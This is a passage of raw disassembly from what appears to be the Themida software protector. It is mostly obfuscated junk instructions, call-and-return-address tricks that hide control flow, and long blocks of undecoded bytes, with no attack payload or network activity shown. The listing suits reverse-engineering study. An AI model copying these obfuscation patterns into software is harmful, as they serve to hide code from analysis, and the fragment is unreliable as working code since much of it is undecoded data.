arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5C3A48	endp

; ---------------------------------------------------------------------------
		dd 0A967A53Fh, 0E9504B10h, 0Dh,	0EEA232E5h, 26870840h
; ---------------------------------------------------------------------------


loc_5C3A6C:				; CODE XREF: Themida_:005C3A31j
		inc	ecx
		mov	[esi+48946ABh],	esi
		and	al, 6Ah
		add	[eax-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		and	[eax-3Dh], bl
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Ah
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 7Ch
		dd 0EF97ED42h, 0B58935B7h
; ---------------------------------------------------------------------------
		xor	[edi], ebx


loc_5C3A9A:				; CODE XREF: Themida_:005C3A2Ej
		jecxz	short loc_5C3AA6


loc_5C3A9C:				; CODE XREF: Themida_:005C3A0Cj
		jmp	loc_5C3F1F
; ---------------------------------------------------------------------------
		db 1, 0BDh, 49h
; ---------------------------------------------------------------------------
		xor	bl, ah


loc_5C3AA6:				; CODE XREF: Themida_:loc_5C3A9Aj
		or	cl, [ebx-1CD4124Bh]
		or	dh, [eax+7E900h]
; ---------------------------------------------------------------------------
		dw 0
		dd 9E9F21B3h, 0E69B3D5Ah, 57006A70h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B9E8F6Bh
		dd 0E31B25BDh, 6A71E40Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5704C356h, 117D3997h
		dd 0E8BCCE8Bh, 12h, 0DE1A6619h,	6D9C3546h, 4BF21650h, 99CE1E09h
		dd 8A0F8D53h, 6, 257DBD0Bh, 0F5F0AE3h, 6AD8B6h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B50BBAC3h, 0AE31C29h, 6BAh,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0CA70458Ch
		dd 0E7CAC5A4h, 890F6C75h, 20h, 14E8h, 2355C000h, 2F66D47Ah
		dd 0C0237BC6h, 3042D1B9h, 870FE1E6h, 0CDB52307h, 5E0AE306h
		dd 12E8h, 0C73CB400h, 2E7A3DF3h, 75C79E82h, 63320C4Ch
		dd 60C42046h, 56E68166h, 61C18B47h, 8BC38B5Eh, 0E3018DB5h
		dd 4E8C10Ah, 365BD03h, 0F7660AE3h, 8E9E2h, 40610000h, 0B59FDEC5h
		dd 0D82BC7FDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	4CC35747h, 32C067Ch, 51918177h,	60F88BB8h, 6800Fh
		dd 0F7810000h, 1EA0434Fh, 163D8501h, 50610AE3h,	1B85BD8Bh
		dd 935E0AE3h, 0E950F18Bh, 6, 0C69AE9A6h, 5693F8F8h, 9E9h
		dd 0B08CE000h, 0BADD55F2h, 0FF5EC225h, 0E33125B5h, 52006A0Ah
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 866BC567h, 0F6F1607h, 20B9B589h, 95FF0AE3h, 0AE31CD1h
		dd 0B0F98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	1BC35343h, 0EAF07C5h, 0EF816692h, 70E643E0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B8C35141h, 71E4BC59h
		dd 0E5DEE81h, 48BE7F02h, 3C2662FBh, 44830F61h, 6A000002h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 3DD4C356h, 64FBCB25h, 33F2AE7Dh, 9DB58B53h
		dd 5F0AE326h, 2DC58529h, 0B60F0AE3h, 18D89D8h, 0BA0AE32Dh
		dd 6, 804CBF66h, 0CE9h,	0C5B98C00h, 0DAE12B8Dh,	5FBBCB65h
		dd 89C38B53h, 0E32F4195h, 860F600Ah, 6,	4E59D01h, 95890AE3h
		dd 0AE32EDDh, 4E8C161h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0F6C35545h, 85016BADh, 0AE30225h, 6AE2F766h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0CE66C356h, 10FDBD8Bh, 8B660AE3h,	66D82BF1h
		dd 0DE9F78Bh, 0D2000000h, 8F614849h, 6126A734h,	0C55DBFDh
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 27BE0EE3h, 8CBA6A13h, 0F2B70F72h, 880FD82Bh
		dd 13Bh, 48E0Fh, 0BF660000h, 7B94EF4h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0E78BC350h, 0C5BD89ACh, 810AE32Ch, 6F2412CEh, 0C18377h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C8C35343h
		dd 94280B7Ah, 5E9A5h, 0C5800000h, 3B8FD21Eh, 0CC860FD9h
		dd 66000000h, 0BD89F18Bh, 0AE312ADh, 89D98C66h,	0E31D65B5h
		dd 4C1F60Ah, 0A9840Fh, 81660000h, 0FF5C47EEh, 0E3338995h
		dd 51006A0Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5290F1CBh, 74C00873h, 0CE837A9h,	0D0000000h
		dd 0E65B8723h, 0CBEDCEEAh, 0BEC8DD43h, 6343D2C9h, 6A5B5Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 299D2DC3h, 0C32B3ABDh, 29958D89h, 343D0AE3h,	0F000008h
		dd 2E86h, 31E900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 723117C3h, 6622233Dh
		dd 0F53CDDDh, 8B5FF3BFh, 6D8D31C0h
		db 2Eh,	0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_5C3F1F:				; CODE XREF: Themida_:loc_5C3A9Cj
		mov	eax, ebx
		mov	ebx, eax
		sbb	si, 0BA3Ch
		jle	loc_5C3F31
		movsx	esi, di


loc_5C3F31:				; CODE XREF: Themida_:005C3F28j
		mov	dword ptr [ebp+0AE32649h], 3F3DD5B9h
		push	0
		push	esi
		call	sub_5C3F46
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3F46	proc near		; CODE XREF: Themida_:005C3F3Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5C3F46	endp

; ---------------------------------------------------------------------------
		cmp	esi, [ecx]
		db	2Eh
		mov	eax, eax
		cmp	dword ptr [ebp+0AE33125h], 7D0h
		jnz	loc_5C3F8B
		mov	si, di
		inc	dword ptr [ebp+0AE33125h]
		ja	loc_5C3F85
		pusha
		movsx	esi, dx
		add	edi, 7BB30F0h
		popa


loc_5C3F85:				; CODE XREF: Themida_:005C3F74j
		mov	[ebp+0AE321B1h], ecx


loc_5C3F8B:				; CODE XREF: Themida_:005C3F65j
		push	dword ptr [ebp+0AE33125h]
		mov	[ebp+0AE3173Dh], eax
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	esi
		call	sub_5C3FA8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3FA8	proc near		; CODE XREF: Themida_:005C3FA0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5C3FA8	endp

; ---------------------------------------------------------------------------
		sar	ebx, cl
		lodsb
		sbb	edi, 2726ECAFh
		nop
		cld
		pusha
		xor	cx, 9F8Ch
		mov	[ebp+0AE31B19h], eax
		sub	edx, [ebp+0AE3019Dh]
		popa
		jz	loc_5C3FE2
		push	edx
		mov	di, 7060h
		pop	edi


loc_5C3FE2:				; CODE XREF: Themida_:005C3FD6j
		xor	[ebp+0AE30041h], edi
		mov	di, ax
		push	0
		push	ebp
		call	sub_5C3FF6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3FF6	proc near		; CODE XREF: Themida_:005C3FEEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5C3FF6	endp

; ---------------------------------------------------------------------------
		mov	[esi+3CAA5D1Ch], ebx
		jge	short near ptr loc_5C4041+3
		or	di, 6ECAh
		mov	[ebp+0AE30679h], edx
		push	esi
		pusha
		xor	ax, 0D36h
		push	edx
		pop	ebx
		popa
		pop	esi
		cmc
		mov	[ebp+0AE317D5h], edx
		add	[ebp+0AE315E1h], esi
		push	0
		push	edx
		call	sub_5C403C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C403C	proc near		; CODE XREF: Themida_:005C4034p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx


loc_5C4041:				; CODE XREF: Themida_:005C400Cj
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5C403C	endp

; ---------------------------------------------------------------------------
		dd 47C6AE5h, 22E3E081h,	0AE8A6h, 92EC0000h, 4F8A3AFEh
		dd 60F2FD2Eh, 3209BD8Bh, 81BE0AE3h, 5F400952h, 0BE8h, 0ED51CC00h
		dd 0B39E16A4h, 8D37DEEDh, 8B76B760h, 0E31049B5h, 5E90Ah
		dd 0C9420000h, 614572A9h, 2D999589h, 6A5E0AE3h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 456BC350h, 0D8A2EC65h, 15BD01C9h, 0E90AE307h, 8, 7F6E414h
		dd 4A5C3506h, 0FFF7BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5C40D5:				; CODE XREF: Themida_:005C388Cj
		mov	eax, ecx
		add	[ebp+0AE31F81h], eax
		jmp	short loc_5C40E3
; ---------------------------------------------------------------------------
		align 10h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5C40E3:				; CODE XREF: Themida_:005C40DDj
		add	di, 53CFh
		mov	[ebp+0AE309C5h], esi
		ja	loc_5C40FA
		mov	edi, [ebp+0AE32F21h]


loc_5C40FA:				; CODE XREF: Themida_:005C40EEj
		lea	eax, [ebp+0AE32FFDh]
		mov	edi, [ebp+0AE315DDh]
		nop
		push	ebx
		mov	esi, eax
		pop	edi
		push	eax
		nop
		push	0
		push	esi
		call	sub_5C4118
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4118	proc near		; CODE XREF: Themida_:005C4110p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C4118	endp

; ---------------------------------------------------------------------------
		dd 3495DB3Dh, 0B58B5035h, 0AE31345h, 6A006A5Fh,	4E858D00h
		dd 8B0AE71Dh, 0E326C1BDh, 5C0830Ah, 5E8h, 0C2638E00h, 905EDC68h
		dd 8C65BE66h, 79BE6650h, 6A90AEh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0DFAE80C3h, 2878487Ah
		dd 6A11D6DBh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0BB4E91D4h, 0AE99D29h, 0BD8B0AE3h
		dd 0AE32675h, 0C5BF006Ah, 0FF36847Fh, 0E314E995h, 56006A0Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6610F765h, 6D2AC681h, 0D5CA9D8Dh, 6A0AE6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 7B2401C3h
		dd 16E9BD8Bh, 0F38B0AE3h, 6AD3FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F861DFC3h, 1C1585FFh
		dd 89520AE3h, 0E3114DBDh, 0BD8B5F0Ah, 0AE30225h, 7CBE9h
		dd 0E800h, 815D0000h, 0E71D58EDh, 0F1BF0F0Ah, 3125BD81h
		dd 7D00AE3h, 860F0000h,	171h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0D7C35141h,	14E9h, 0F0F2ED00h
		dd 9BDB9B03h, 44D16373h, 0BF71625Fh, 0ACAC28D3h, 819D8BD0h
		dd 8B0AE312h, 0E32C89B5h, 0C9BD230Ah, 810AE319h, 100E3h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0BC08EFE2h, 0FDB0B8Ah, 9485h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 95895470h, 0AE3171Dh, 1BEDBD83h, 0F000AE7h, 4784h, 0F9B70F00h
		dd 0A8E9h, 1D880F00h, 0E8000000h, 0Ah, 9DB5BF83h, 7A0C94E1h
		dd 7E8E347h, 92000000h,	0C9784F04h, 5F5FA307h, 10E8h, 0DFB99600h
		dd 55BE4C9Fh, 0C0392031h, 592E337Fh, 0F2DE819Ah, 5F5D6C9Dh
		dd 1BED85C7h, 10AE7h, 0BD030000h, 0AE3173Dh, 54E9h, 0BD8B5200h
		dd 0AE312ADh, 0ED85C75Fh, 0AE71Bh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 80DEC351h, 0A1515883h, 10E99Fh, 3AE60000h, 0F3355722h
		dd 9666EDABh, 0F3D5898Eh, 816619CBh, 19222EEh, 0E329C195h
		dd 819D8D0Ah, 0F50AE312h, 0FEFF2381h, 60FCFFFFh, 2FCD8D31h
		dd 95290AE3h, 0AE32379h, 0DB8C6661h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 98C35242h, 0AD49F142h, 14E834h
		dd 0A30A0000h, 468D6EF7h, 5A64023Ah, 4527D09Bh,	786D5479h
		dd 860FD097h, 6, 0ABCFD781h, 0F65F5C53h, 840F04C3h, 8Eh
		dd 7E9h, 0A9751200h, 4A67F056h,	338995FFh, 6A0AE3h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 254204C3h, 0F1BD899Ah, 0F0AE334h, 1A88h, 9E800h, 1130000h
		dd 466A47CBh, 0E8096919h, 5, 840B76EEh,	505F5F90h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0B5C4C352h, 0B2E37094h, 0BE952h, 0A37B0000h
		dd 4F7A44F6h, 0CC24341Eh, 0A7E95FDFh, 89000003h, 0E306859Dh
		dd 6A00B00Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 61C5C350h, 0C8EF22E2h,	0BD315B66h
		dd 0AE31C25h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0A9D0DDC3h, 467D8C7Bh, 94CF82Ah
		dd 0E306319Dh, 0A1B58B0Ah, 0E40AE312h, 56006A71h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 94113C9Eh, 33258D29h, 0B60F0AE3h, 6BAD8h, 95290000h
		dd 0AE3033Dh, 830FC38Bh, 0
; ---------------------------------------------------------------------------
		jno	loc_5C4568
		sub	[ebp+0AE3183Dh], edi


loc_5C4568:				; CODE XREF: Themida_:005C455Cj
		shr	eax, 4
		push	edx
		mov	edi, [ebp+0AE31E99h]
		pop	edi
		mul	dx
		mov	edi, 4BF16B59h
		sub	ebx, eax
		push	0
		push	edi
		call	sub_5C4588
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4588	proc near		; CODE XREF: Themida_:005C4580p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5C4588	endp

; ---------------------------------------------------------------------------
		xor	al, 4Fh
		test	al, 1Ah
		jmp	loc_5C45AD
; ---------------------------------------------------------------------------
		db 2Eh,	35h, 0F4h
		dd 944E60DFh, 1D7F0A73h
		db 62h
; ---------------------------------------------------------------------------


loc_5C45AD:				; CODE XREF: Themida_:005C459Cj
		xchg	eax, ebx
		push	edx
		push	edx
		pusha
		popa
		pop	edi
		pop	edi
		push	eax
		xchg	eax, ebx
		jnz	loc_5C45C4
		jnb	loc_5C45C4
		pusha
		popa


loc_5C45C4:				; CODE XREF: Themida_:005C45B6j
					; Themida_:005C45BCj
		push	dword ptr [ebp+0AE33125h]
		add	[ebp+0AE31901h], ecx
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	ebp
		call	sub_5C45E1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C45E1	proc near		; CODE XREF: Themida_:005C45D9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C45E1	endp

; ---------------------------------------------------------------------------
		db 0A0h, 0C2h, 77h
		dd 88B74C46h, 0B0FE8Bh,	2E65B58Bh, 70E60AE3h, 15F5BD0Bh
		dd 71E40AE3h, 830F613Ch, 24Eh, 0E9C58A60h, 8, 626023DBh
		dd 0C065E11Ch, 0D8B60F61h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 76C35646h, 0BD894E97h, 0AE31D81h, 6BAh
		dd 10E900h, 9FBC0000h, 0B9FA5143h, 4AE348EBh, 5757C467h
		dd 0C38BA910h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	9AC35747h, 1C1BD2Bh, 0E8C10AE3h, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0DE8166C8h, 0BF567594h, 262ECA84h, 0E2F7665Eh, 0BE956h
		dd 61950000h, 0A3CC68D2h, 604404D1h, 0D82B5E7Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F9C35343h, 0B9B58B09h
		dd 660AE31Eh, 0E839E4BEh, 7, 66674C16h,	8B3CFD08h, 8B585FF3h
		dd 0E3092DB5h, 0FD82B0Ah, 15188h, 1234BF00h, 7B95213h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 46F8C355h, 8345C03Fh, 840F00C1h
		dd 21h,	0C9958960h, 0E90AE301h,	14h, 496875CBh,	7FAFBE46h
		dd 0C69E7368h, 0D31BF1A4h, 0A9208144h, 0FD93B61h, 0F586h
		dd 6860F00h, 31000000h,	0E3295595h, 0D98C660Ah,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4C35747h, 10E97A73h
		dd 85000000h, 0E4836CBEh, 0FF5EC337h, 770F51DEh, 0F6E2C96Dh
		dd 840F04C1h, 8Eh, 95FFF18Bh, 0AE33389h, 0BD895757h, 0AE31B25h
		dd 665B5E5Fh, 8B60F98Bh, 0E31B6DBDh, 659D290Ah,	610AE302h
		dd 6651C32Bh, 6BD2C681h, 8343D5Eh, 860F0000h, 56h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 61C35343h, 0A481E06Fh
		dd 0BD2B2E2Ah, 0AE320D9h, 45E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 64B51432h
		dd 0FB6F0287h, 2EADBD8Bh, 0C08B0AE3h, 0DE960h, 0D6210000h
		dd 0D8DA220Fh, 750553D1h, 299DD382h, 0E3234585h, 0C38B610Ah
		dd 0B589D88Bh, 0AE3044Dh, 2DED85C7h, 9DBD0AE3h,	0FFC7DA4h
		dd 481h, 61605100h, 0BC08B5Eh, 0E31BF9B5h, 25BD810Ah, 0D00AE331h
		dd 0F000007h, 1285h, 699D0900h,	0FF0AE31Bh, 0E3312585h
		dd 0B9B58B0Ah, 0FF0AE30Fh, 0E33125B5h, 50006A0Ah, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 59F0A8E5h, 89F551C4h, 0E31C89B5h, 11E90Ah, 0BE290000h
		dd 131F23A8h, 3FDDB8C2h, 29A97E51h, 0FFA47BC1h,	0E31CD195h
		dd 90F28B0Ah, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	14C35545h, 0A0FE583Ah, 14880FDEh, 66000000h, 890FF38Bh
		dd 0Bh,	2CC19529h, 12BE0AE3h, 23672DF1h, 0E30729BDh, 52CBE0Ah
		dd 6A4CD6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 2EA72CC3h, 644588E5h, 0B58BCF17h,	0AE30225h
		dd 29958529h, 0EE90AE3h, 11000000h, 18D2711Fh, 57F6B40Fh
		dd 0E5A860A9h, 29850F82h, 0E8000000h, 0Ch, 0E31D8651h
		dd 52A5D089h, 0DBB575F6h, 269DB58Bh, 0B58B0AE3h, 0AE332B5h
		dd 5830F5Eh, 0BE000000h, 2FA959B0h, 1A49B58Bh, 8D890AE3h
		dd 0AE330ADh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	25C35242h, 0A5C28E41h, 60335C4Ch, 68B0Fh, 858B0000h
		dd 0AE317D5h, 10E9h, 0E0E37E00h, 0EDBC0F5h, 0DCC45E06h
		dd 59EC6A35h, 0BAEB81F8h, 610A3F5Ah, 0FFF838E9h, 0F5FE8BFFh
		dd 8B66C18Bh, 4EBF2h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0DC30C355h,	0DFE9A5E1h
		dd 89AAAD4Fh, 0E30095B5h, 0FD858D0Ah, 6A0AE32Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0A8CAC356h, 7E3FC40Fh, 6890F8Fh, 89000000h, 0E305419Dh
		dd 89F78B0Ah, 0E30AB9B5h, 0E9BF500Ah, 8929A7D7h, 6A2404h
		dd 5C5BD01h, 6A0AE3h, 0BE8h, 3F9EEA00h,	48D9AAA8h, 0C27CA811h
		dd 2385BD8Bh, 8D5F0AE3h, 0E726FC85h, 51006A0Ah,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0CAF5E252h
		dd 45215937h, 5C083FCh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0E7C35747h, 6D25F34h,	0E303382Ah, 39B58B97h
		dd 900AE316h, 2F880Fh, 52500000h, 0DE8h, 3C05E800h, 0D40F3826h
		dd 47BF4565h, 0F5F93EEh, 10E831h, 662C0000h, 0C3D2537h
		dd 55A1672Dh, 4DD0210Ah, 5A5F74F0h, 0CBF5058h, 90770DC0h
		dd 0AD58D01h, 6A0AE3h, 1311B503h, 6A0AE3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B0C35646h, 0D71A2960h
		dd 782B3EEBh, 1519BF66h, 14E995FFh, 6A0AE3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D1B9C0C3h
		dd 0E1E63042h, 8907870Fh, 0E314A985h, 22E1BE0Ah, 9D8D7203h
		dd 0AE6D5CAh, 88D0Fh, 89510000h, 0E3212DBDh, 0D3FF5F0Ah
		dd 0DB6EBE66h, 1C1585FFh, 6A0AE3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0B49F57C3h, 0ECE9E2C6h
		dd 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 0AE72706h
		push	0
		push	ebx
		call	sub_5C4C0A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4C0A	proc near		; CODE XREF: Themida_:005C4C02p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5C4C0A	endp

; ---------------------------------------------------------------------------
		enter	22A6h, 8Bh
		adc	di, 8C64h
		cmp	dword ptr [ebp+0AE33125h], 7D0h
		jbe	loc_5C4D62
		push	0
		push	esi
		call	sub_5C4C3E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4C3E	proc near		; CODE XREF: Themida_:005C4C36p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C4C3E	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:0B10F3BCAh
		sub	[ebp+0AE30265h], esi
		mov	edi, [ebp+0AE308C5h]
		mov	ebx, [ebp+0AE31A35h]
		clc
		and	ebx, 100h
		push	0
		push	ebp
		call	sub_5C4C77
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4C77	proc near		; CODE XREF: Themida_:005C4C6Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C4C77	endp

; ---------------------------------------------------------------------------
		db 73h
		dd 484D3884h, 0E6FA5C05h, 850FDB0Bh, 75h, 305DBD2Bh, 0BD830AE3h
		dd 0AE72525h, 32840F00h, 23000000h, 0E33391B5h,	85E90Ah
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 72BE50C3h, 29146623h, 0E308C58Dh,	2585C70Ah
		dd 10AE725h, 0E9000000h, 4Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0D6C35343h,	16FAEC5Dh, 2585C7A4h
		dd 0AE725h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 2F09C351h, 0A5B589E3h
		dd 8D0AE311h, 0E31A359Dh, 0BE90Ah, 87740000h, 0AB67F792h
		dd 0D3883301h, 0FF238143h, 0E9FFFFFEh, 6, 51AA1042h
		db 0A3h, 4
; ---------------------------------------------------------------------------


loc_5C4D62:				; CODE XREF: Themida_:005C4C2Dj
		mov	bx, ds
		mov	[ebp+0AE332F5h], ecx
		test	bl, 4
		jz	loc_5C4DDA
		mov	di, ax
		and	esi, [ebp+0AE31AE9h]
		call	dword ptr [ebp+0AE33389h]
		push	0
		push	ebx
		call	sub_5C4D8E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D8E	proc near		; CODE XREF: Themida_:005C4D86p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5C4D8E	endp

; ---------------------------------------------------------------------------
		dw 0FBECh
		dd 0C4AF7D97h, 5080E25Fh, 4800Fh, 0BE660000h, 489735Ch
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 3299BF77h, 25259D09h
; ---------------------------------------------------------------------------
		jecxz	short near ptr loc_5C4DE2+2


loc_5C4DDA:				; CODE XREF: Themida_:005C4D6Ej
		jmp	loc_5C528B
; ---------------------------------------------------------------------------
		push	0
		push	ecx


loc_5C4DE2:				; CODE XREF: Themida_:005C4DD8j
		call	sub_5C4DEA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4DEA	proc near		; CODE XREF: Themida_:loc_5C4DE2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C4DEA	endp

; ---------------------------------------------------------------------------
		dw 60CEh
		dd 339D9529h, 10E80AE3h, 0DE000000h, 29B74385h,	0DDE124F7h
		dd 1CB7B6Eh, 0E931F553h, 8, 0F9005D62h,	1670212Ah, 0B0615Bh
		dd 0CDCE8166h, 2970E67Dh, 0E331B59Dh, 6A71E40Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0BB1FC356h, 20EC0373h, 0E681A96Ah, 39A277B6h, 7E9h
		dd 24F13700h, 0E0F81E2Bh, 6AD8B60Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0ACEEC350h
		dd 8B52D6FAh, 1452BFF2h, 81663DC8h, 0BA62A5D7h,	6, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2AC35646h, 0C0341AF4h
		dd 5E828E0h, 31000000h,	7013F5C5h, 0FC68B60h, 88h, 8B5E6100h
		dd 0B8E0FC3h, 60000000h, 0F6C68166h, 51BF66C5h,	0E8C16169h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0F766FC58h, 0F3BF0FE2h, 6AD82Bh,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 2FD394C3h, 5350CC0Dh, 8E953h, 26760000h, 0F9057F42h
